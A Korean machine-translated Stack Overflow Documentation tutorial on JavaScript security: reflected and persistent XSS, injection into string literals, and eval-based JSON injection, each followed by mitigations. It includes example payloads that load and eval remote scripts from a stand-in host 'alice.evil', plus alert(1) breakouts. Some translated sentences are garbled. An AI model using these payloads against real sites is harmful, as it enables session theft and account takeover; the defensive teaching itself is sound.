수색…


소개

이것은 XSS 및 평가판 주입과 같은 일반적인 JavaScript 보안 문제 모음입니다. 이 컬렉션에는 이러한 보안 문제를 완화하는 방법도 포함되어 있습니다.

반사 형 교차 사이트 스크립팅 (XSS)

Joe가 로그온하여 강아지 비디오를보고 계정에 저장할 수있는 웹 사이트를 소유하고 있다고 가정 해 봅시다.

사용자가 해당 웹 사이트를 검색 할 때마다 https://example.com/search?q=brown+puppies 로 리디렉션됩니다.

사용자의 검색어가 다음과 같은 내용의 메시지를 보는 것보다 일치하지 않는 경우 :

귀하의 검색 ( 갈색 강아지 ), 아무것도 일치하지 않았다. 다시 시도하십시오.

백엔드에서 그 메시지는 다음과 같이 표시됩니다.

if(!searchResults){
    webPage += "<div>Your search (<b>" + searchQuery + "</b>), didn't match anything. Try again.";
}

그러나 앨리스가 <h1>headings</h1> 검색하면 다음과 같이 표시됩니다.

귀하의 검색 (

표제

)과 일치하지 않았습니다. 다시 시도하십시오.

원시 HTML :

Your search (<b><h1>headings</h1></b>) didn't match anything. Try again.

Alice가 <script>alert(1)</script> 하면 다음과 같은 결과를 얻습니다.

귀하의 검색 (), 아무것도 일치하지 않았습니다. 다시 시도하십시오.

과:

"1"이라고하는 경고 상자.

Alice는 <script src = "https://alice.evil/puppy_xss.js></script>really cute puppies<script src = "https://alice.evil/puppy_xss.js></script>really cute puppies 하고 주소 표시 줄에 이메일 Bob보다 링크를 복사합니다.

단발,

귀여운 강아지를 검색 할 때 아무 일도 일어나지 않습니다!

Alice보다 Bob은 Bob이 자신의 계정에 로그온하는 동안 Bob에게 스크립트를 실행하게합니다.

완화:

  1. 결과가 없을 때 검색어를 반환하기 전에 검색에서 모든 꺾쇠 괄호를 이스케이프합니다.
  2. 결과가 없으면 검색어를 반환하지 마십시오.
  3. 다른 도메인에서 활성 컨텐트를로드하는 것을 거부하는 컨텐트 보안 정책 추가

지속적인 XSS (Cross-Site Scripting)

Bob이 사용자가 자신의 프로필을 개인 설정할 수있는 소셜 웹 사이트를 소유하고 있다고 가정 해 봅시다.

Alice는 Bob의 웹 사이트로 이동하여 계정을 만들고 프로필 설정으로갑니다. 그녀는 그녀의 프로필 설명을 I'm actually too lazy to write something here.

친구가 프로필을 볼 때이 코드는 서버에서 실행됩니다.

if(viewedPerson.profile.description){
    page += "<div>" + viewedPerson.profile.description + "</div>";
}else{
    page += "<div>This person doesn't have a profile description.</div>";
}

이 HTML 결과 :

<div>I'm actually too lazy to write something here.</div>

Alice보다 자신의 프로필 설명을 <b>I like HTML</b> 합니다. 그녀가 그녀의 프로필을 보았을 때 보지 않고

<b> HTML을 좋아합니다 </ b>

그녀는 본다

나는 HTML을 좋아한다.

앨리스는 그녀의 프로필을

<script src = "https://alice.evil/profile_xss.js"></script>I'm actually too lazy to write something here.

누군가가 자신의 프로필을 방문 할 때마다 Alice의 스크립트는 계정으로 로그온 한 상태에서 Bob의 웹 사이트에서 실행됩니다.

완화

  1. 프로필 설명 등에서 꺽쇠 괄호
  2. 프로파일 설명을 일반 텍스트 파일에 저장하고 .innerText 를 통해 설명을 추가하는 스크립트로 가져옵니다.
  3. 다른 도메인에서 활성 컨텐트를로드하는 것을 거부하는 컨텐트 보안 정책 추가

JavaScript 문자열 리터럴에서 영구적으로 교차 사이트 스크립팅

Bob이 공개 메시지를 게시 할 수있는 사이트를 소유하고 있다고 가정 해 봅시다.

메시지는 다음과 같은 스크립트에 의해로드됩니다.

addMessage("Message 1");
addMessage("Message 2");
addMessage("Message 3");
addMessage("Message 4");
addMessage("Message 5");
addMessage("Message 6");

addMessage 함수는 게시 된 메시지를 DOM에 추가합니다. 그러나 XSS를 피하기 위해 게시 된 메시지의 HTML은 모두 이스케이프 처리됩니다.

스크립트는 다음과 같이 서버에서 생성 됩니다 .

for(var i = 0; i < messages.length; i++){
    script += "addMessage(\"" + messages[i] + "\");";
}

그래서 앨리스는 다음과 같은 메시지를 게시합니다 : My mom said: "Life is good. Pie makes it better. " 그녀가 메시지를 미리 볼 때보 다 콘솔에서 오류를 보게됩니다.

Uncaught SyntaxError: missing ) after argument list

왜? 생성 된 스크립트는 다음과 같습니다.

addMessage("My mom said: "Life is good. Pie makes it better. "");

이것은 구문 오류입니다. 앨리스 (Alice) 게시물보다 :

I like pie ");fetch("https://alice.evil/js_xss.js").then(x=>x.text()).then(eval);//

그런 다음 생성 된 스크립트는 다음과 같습니다.

addMessage("I like pie ");fetch("https://alice.evil/js_xss.js").then(x=>x.text()).then(eval);//");

I like pie 하는 메시지가 추가되지만 다른 사용자가 Bob의 사이트를 방문 할 때마다 https://alice.evil/js_xss.js다운로드되어 실행됩니다.

완화:

  1. JSON.stringify ()에 게시 된 메시지 전달
  2. 스크립트를 동적으로 작성하는 대신 스크립트에서 나중에 가져온 모든 메시지를 포함하는 일반 텍스트 파일을 작성하십시오
  3. 다른 도메인에서 활성 컨텐트를로드하는 것을 거부하는 컨텐트 보안 정책 추가

왜 다른 사람들의 스크립트가 귀하의 웹 사이트 및 방문자에게 해를 끼칠 수 있습니까?

악성 스크립트가 사이트에 해를 끼칠 수 있다고 생각하지 않는다면 잘못된 것 입니다. 다음은 악성 스크립트가 수행 할 수있는 작업의 목록입니다.

  1. 추적 할 수 없도록 DOM에서 자신을 제거하십시오 .
  2. 사용자의 세션 쿠키를 훔쳐서 스크립트 작성자가 로그인하여 가장 할 수있게합니다.
  3. 가짜 "귀하의 세션이 만료되었습니다. 다시 로그인하십시오." 사용자의 암호를 스크립트 작성자에게 보내는 메시지.
  4. 해당 웹 사이트를 방문때마다 악성 스크립트를 실행하는 악의적 인 서비스 담당자를 등록 하십시오 .
  5. 사용자 가 실제로 스크립트 작성자에게가는 사이트에 액세스하려면 지불 할 것을 요구하는 가짜 유료화 를하십시오 .

제발, XSS가 귀하의 웹 사이트와 방문객에게 해가되지 않을 것이라고 생각하지 마십시오.

Evaled JSON injection

누군가 Bob의 웹 사이트에있는 프로필 페이지를 방문 할 때마다 다음 URL을 가져옵니다.

https://example.com/api/users/1234/profiledata.json

다음과 같은 응답으로 :

{
    "name": "Bob",
    "description": "Likes pie & security holes."
}

데이터가 파싱되고 삽입 된 것보다 :

var data = eval("(" + resp + ")");
document.getElementById("#name").innerText = data.name;
document.getElementById("#description").innerText = data.description;

좋았지, 그렇지? 잘못된.

Likes XSS."});alert(1);({"name":"Alice","description":"Likes XSS. 이상하게 보입니다 Likes XSS."});alert(1);({"name":"Alice","description":"Likes XSS. 하지만 제대로 수행되지 않으면 응답은 다음과 같이됩니다. ")

{
    "name": "Alice",
    "description": "Likes pie & security holes."});alert(1);({"name":"Alice","description":"Likes XSS."
}

그리고 이것은 eval 될 것입니다 :

({
    "name": "Alice",
    "description": "Likes pie & security holes."});alert(1);({"name":"Alice","description":"Likes XSS."
})

그것이 문제라고 생각하지 않는다면 콘솔에 붙여 넣고 무슨 일이 일어나는 지보십시오.

재판

  • JSON을 얻으려면 eval 대신 JSON.parse 를 사용하십시오. 일반적으로 eval을 사용하지 말고, 사용자가 제어 할 수있는 것과 eval을 사용하지 마십시오. Eval 은 새로운 실행 컨텍스트 를 작성하여 성능 적중을 만듭니다.

  • 제대로 JSON에 넣기 전에 사용자 데이터의 " 이스케이프 "\ 를 이스케이프 처리하십시오. "

    Hello! \"});alert(1);({
    

    다음으로 변환됩니다.

    "Hello! \\"});alert(1);({"
    

    죄송합니다. \" 모두를 이스케이프 처리하거나 JSON.parse 만 사용하십시오.



Modified text is an extract of the original Stack Overflow Documentation
아래 라이선스 CC BY-SA 3.0
와 제휴하지 않음 Stack Overflow